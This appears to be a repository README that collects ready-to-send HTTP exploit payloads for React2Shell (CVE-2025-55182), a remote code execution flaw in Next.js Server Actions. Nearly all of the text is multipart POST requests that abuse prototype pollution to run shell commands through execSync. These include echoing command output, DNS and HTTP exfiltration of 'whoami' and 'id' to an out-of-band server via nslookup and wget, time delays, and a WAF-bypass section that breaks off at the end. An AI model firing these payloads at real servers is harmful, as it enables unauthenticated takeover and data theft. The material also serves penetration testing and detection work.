REACT2SHELL (CVE-2025-55182)

React2Shell (CVE-2025-55182) is a critical remote code execution (RCE) vulnerability chain affecting Next.js applications that utilize Server Actions. The vulnerability exploits a prototype pollution vulnerability in combination with Server Actions to achieve unauthenticated arbitrary code execution on the server.

This repository is dedicated to sharing React2Shell payloads & bypasses. PRs/contributions are always welcome!

Resources

Below are additional resources you might find useful:

• React2Shell scanner by Assetnote: https://github.com/assetnote/react2shell-scanner
• Nuclei template: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-55182.yaml

Payloads

Original proof of concept

All credits go to @maple3142 for the initial proof of concept disclosure which can be found in this GitHub Gist:

POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Full RCE with output via error message (digest field)

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

Trigger an external DNS query

Replace <OAST_SERVER> with your OAST server hostname.

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('nslookup <OAST_SERVER>');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

DNS Exfiltration

Replace <OAST_SERVER> with your OAST server hostname.

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('nslookup `whoami`.<OAST_SERVER>');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

HTTP Exfiltration

Replace <OAST_SERVER> with your OAST server hostname.

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('wget http://<OAST_SERVER>/?e=$`id`');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

Trigger time delay

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('sleep 10');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

Bypass WAFs with String Concatenation & Encoding

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: m9x4k7p2
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
X-Nextjs-Html-Request-Id: R8tY5uI2oP6aS3dF
Content-Length: 750

------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
Content-Disposition: form-data; name="0"